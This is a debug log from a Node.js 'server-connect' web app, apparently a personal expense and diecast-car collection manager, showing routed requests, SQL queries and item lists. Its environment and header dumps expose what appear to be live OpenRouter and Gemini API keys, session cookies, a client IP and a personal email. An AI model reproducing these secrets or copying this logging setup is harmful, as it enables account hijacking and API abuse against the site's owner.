      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:34:43.358Z server-connect:router Serving templateView /diecast
2026-02-04T05:34:43.358Z server-connect:app Executing action step identify
2026-02-04T05:34:43.358Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:43.358Z server-connect:output identity: 1
2026-02-04T05:34:43.358Z server-connect:app Executing action step restrict
2026-02-04T05:34:43.358Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:34:43.359Z server-connect:output restrict: undefined
2026-02-04T05:34:43.359Z server-connect:router Render template layouts/main
2026-02-04T05:34:43.359Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { search: '', manufacturer: '73' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'search=&manufacturer=73',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T05:34:44.340Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T05:34:44.343Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T05:34:44.344Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:34:44.345Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:34:44.345Z server-connect:app Executing action step identify
2026-02-04T05:34:44.345Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:44.345Z server-connect:output identity: 1
2026-02-04T05:34:44.345Z server-connect:app Executing action step restrict
2026-02-04T05:34:44.345Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:44.346Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:34:44.346Z server-connect:app Executing action step identify
2026-02-04T05:34:44.346Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:44.346Z server-connect:output identity: 1
2026-02-04T05:34:44.346Z server-connect:app Executing action step restrict
2026-02-04T05:34:44.346Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:44.347Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:34:44.347Z server-connect:output restrict: undefined
2026-02-04T05:34:44.347Z server-connect:app Executing action step select
2026-02-04T05:34:44.347Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T05:34:44.347Z server-connect:app Executing action step identify
2026-02-04T05:34:44.347Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:44.348Z server-connect:output identity: 1
2026-02-04T05:34:44.348Z server-connect:app Executing action step restrict
2026-02-04T05:34:44.348Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:44.349Z server-connect:app Executing action step identify
2026-02-04T05:34:44.349Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:44.349Z server-connect:output identity: 1
2026-02-04T05:34:44.349Z server-connect:app Executing action step restrict
2026-02-04T05:34:44.349Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:44.350Z server-connect:output restrict: undefined
2026-02-04T05:34:44.350Z server-connect:app Executing action step single
2026-02-04T05:34:44.350Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T05:34:44.350Z server-connect:app Executing action step identify
2026-02-04T05:34:44.350Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:44.350Z server-connect:output identity: 1
2026-02-04T05:34:44.350Z server-connect:app Executing action step restrict
2026-02-04T05:34:44.350Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:44.352Z server-connect:app Executing action step identify
2026-02-04T05:34:44.352Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:44.352Z server-connect:output identity: 1
2026-02-04T05:34:44.352Z server-connect:app Executing action step restrict
2026-02-04T05:34:44.352Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:44.353Z server-connect:output restrict: undefined
2026-02-04T05:34:44.353Z server-connect:app Executing action step select
2026-02-04T05:34:44.353Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:34:44.355Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T05:34:44.356Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T05:34:44.357Z server-connect:output restrict: undefined
2026-02-04T05:34:44.357Z server-connect:app Executing action step select
2026-02-04T05:34:44.357Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:34:44.358Z server-connect:output restrict: undefined
2026-02-04T05:34:44.358Z server-connect:app Executing action step select
2026-02-04T05:34:44.358Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:34:44.358Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T05:34:44.359Z server-connect:output restrict: undefined
2026-02-04T05:34:44.359Z server-connect:app Executing action step paged
2026-02-04T05:34:44.359Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:34:44.361Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T05:34:44.362Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-04T05:34:44.366Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 20,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
